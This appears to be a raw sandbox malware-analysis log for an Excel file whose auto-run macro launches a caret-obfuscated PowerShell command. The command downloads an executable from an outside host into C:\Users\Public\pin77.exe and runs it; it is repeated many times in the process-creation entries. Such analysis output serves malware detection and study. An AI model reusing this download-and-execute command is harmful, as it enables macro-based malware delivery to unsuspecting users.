Source: C:\Users\Public\pin77.exeCode function: 12_2_003593C012_2_003593C0
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F743012_2_002F7430
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036D4A012_2_0036D4A0
Source: C:\Users\Public\pin77.exeCode function: 12_2_002F548912_2_002F5489
Source: C:\Users\Public\pin77.exeCode function: 12_2_003695AE12_2_003695AE
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035F60012_2_0035F600
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036D66012_2_0036D660
Source: C:\Users\Public\pin77.exeCode function: 12_2_0034D65012_2_0034D650
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035B65012_2_0035B650
Source: C:\Users\Public\pin77.exeCode function: 12_2_0036969412_2_00369694
Source: C:\Users\Public\pin77.exeCode function: 12_2_0035368012_2_00353680
Source: C:\Users\Public\pin77.exeCode function: 20_2_0030003020_2_00300030
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035A06020_2_0035A060
Source: C:\Users\Public\pin77.exeCode function: 20_2_0030E0F020_2_0030E0F0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0037C12020_2_0037C120
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036810020_2_00368100
Source: C:\Users\Public\pin77.exeCode function: 20_2_0030224020_2_00302240
Source: C:\Users\Public\pin77.exeCode function: 20_2_0037E29020_2_0037E290
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036E28020_2_0036E280
Source: C:\Users\Public\pin77.exeCode function: 20_2_0032A2D020_2_0032A2D0
Source: C:\Users\Public\pin77.exeCode function: 20_2_003963AB20_2_003963AB
Source: C:\Users\Public\pin77.exeCode function: 20_2_003063F020_2_003063F0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038A3F020_2_0038A3F0
Source: C:\Users\Public\pin77.exeCode function: 20_2_003803D020_2_003803D0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036E47020_2_0036E470
Source: C:\Users\Public\pin77.exeCode function: 20_2_0037646020_2_00376460
Source: C:\Users\Public\pin77.exeCode function: 20_2_003584A020_2_003584A0
Source: C:\Users\Public\pin77.exeCode function: 20_2_003684F020_2_003684F0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035262020_2_00352620
Source: C:\Users\Public\pin77.exeCode function: 20_2_0031066020_2_00310660
Source: C:\Users\Public\pin77.exeCode function: 20_2_0037669020_2_00376690
Source: C:\Users\Public\pin77.exeCode function: 20_2_0037877020_2_00378770
Source: C:\Users\Public\pin77.exeCode function: 20_2_0030224020_2_00302240
Source: C:\Users\Public\pin77.exeCode function: 20_2_003747D020_2_003747D0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036E80020_2_0036E800
Source: C:\Users\Public\pin77.exeCode function: 20_2_0030A8D020_2_0030A8D0
Source: C:\Users\Public\pin77.exeCode function: 20_2_002F88D020_2_002F88D0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0037692020_2_00376920
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035C9F020_2_0035C9F0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035AB1020_2_0035AB10
Source: C:\Users\Public\pin77.exeCode function: 20_2_00348B4020_2_00348B40
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036CD2020_2_0036CD20
Source: C:\Users\Public\pin77.exeCode function: 20_2_00392D2720_2_00392D27
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038ED0020_2_0038ED00
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038AD0020_2_0038AD00
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038CD9020_2_0038CD90
Source: C:\Users\Public\pin77.exeCode function: 20_2_00300E9020_2_00300E90
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036CF2020_2_0036CF20
Source: C:\Users\Public\pin77.exeCode function: 20_2_00374F7020_2_00374F70
Source: C:\Users\Public\pin77.exeCode function: 20_2_002FCFB020_2_002FCFB0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0032B03020_2_0032B030
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038D02020_2_0038D020
Source: C:\Users\Public\pin77.exeCode function: 20_2_0034506020_2_00345060
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035D05020_2_0035D050
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036D0A020_2_0036D0A0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0037D08020_2_0037D080
Source: C:\Users\Public\pin77.exeCode function: 20_2_003690C020_2_003690C0
Source: C:\Users\Public\pin77.exeCode function: 20_2_002F113020_2_002F1130
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036D29020_2_0036D290
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035928020_2_00359280
Source: C:\Users\Public\pin77.exeCode function: 20_2_002F53A020_2_002F53A0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035B38020_2_0035B380
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036F3F020_2_0036F3F0
Source: C:\Users\Public\pin77.exeCode function: 20_2_003593C020_2_003593C0
Source: C:\Users\Public\pin77.exeCode function: 20_2_002F743020_2_002F7430
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036D4A020_2_0036D4A0
Source: C:\Users\Public\pin77.exeCode function: 20_2_003695AE20_2_003695AE
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035F60020_2_0035F600
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036D66020_2_0036D660
Source: C:\Users\Public\pin77.exeCode function: 20_2_0034D65020_2_0034D650
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035B65020_2_0035B650
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036969420_2_00369694
Source: C:\Users\Public\pin77.exeCode function: 20_2_0035368020_2_00353680
Source: C:\Users\Public\pin77.exeCode function: 20_2_003696F220_2_003696F2
Source: C:\Users\Public\pin77.exeCode function: 20_2_003AF76F20_2_003AF76F
Source: C:\Users\Public\pin77.exeCode function: 20_2_0037975020_2_00379750
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038B7C020_2_0038B7C0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0039384C20_2_0039384C
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036D84020_2_0036D840
Source: C:\Users\Public\pin77.exeCode function: 20_2_002FB89020_2_002FB890
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038593020_2_00385930
Source: C:\Users\Public\pin77.exeCode function: 20_2_003759F020_2_003759F0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038D9F020_2_0038D9F0
Source: C:\Users\Public\pin77.exeCode function: 20_2_00395A5020_2_00395A50
Source: C:\Users\Public\pin77.exeCode function: 20_2_00359AE020_2_00359AE0
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036DAC020_2_0036DAC0
Source: C:\Users\Public\pin77.exeCode function: 20_2_00319B1020_2_00319B10
Source: C:\Users\Public\pin77.exeCode function: 20_2_0036DB6020_2_0036DB60
Source: C:\Users\Public\pin77.exeCode function: 20_2_00377B5020_2_00377B50
Source: C:\Users\Public\pin77.exeCode function: 20_2_0034FBF020_2_0034FBF0
Source: C:\Users\Public\pin77.exeCode function: String function: 00362CE0 appears 50 times
Source: C:\Users\Public\pin77.exeCode function: String function: 0032E7A0 appears 137 times
Source: C:\Users\Public\pin77.exeCode function: String function: 0039D413 appears 1002 times
Source: C:\Users\Public\pin77.exeCode function: String function: 0038E700 appears 84 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00338610 appears 33 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00328BE0 appears 86 times
Source: C:\Users\Public\pin77.exeCode function: String function: 002F69A0 appears 79 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00315050 appears 73 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00323820 appears 298 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00359100 appears 39 times
Source: C:\Users\Public\pin77.exeCode function: String function: 003A2FDA appears 40 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00323800 appears 50 times
Source: C:\Users\Public\pin77.exeCode function: String function: 0038EDAD appears 50 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00328A40 appears 44 times
Source: C:\Users\Public\pin77.exeCode function: String function: 003A0D80 appears 135 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00328830 appears 48 times
Source: C:\Users\Public\pin77.exeCode function: String function: 0032B850 appears 43 times
Source: C:\Users\Public\pin77.exeCode function: String function: 003A2CC4 appears 50 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00358270 appears 92 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00329280 appears 72 times
Source: C:\Users\Public\pin77.exeCode function: String function: 00328630 appears 610 times
Source: 827837hj.xlsOLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function Workbook_OpenName: Workbook_Open
Source: 827837hj.xlsOLE indicator, VBA macros: true
Source: 827837hj.xlsReversingLabs: Detection: 24%
Source: 827837hj.xlsVirustotal: Detection: 41%
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://the.earth.li/~sgtatham/putty/latest/w32/putty.e^xe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
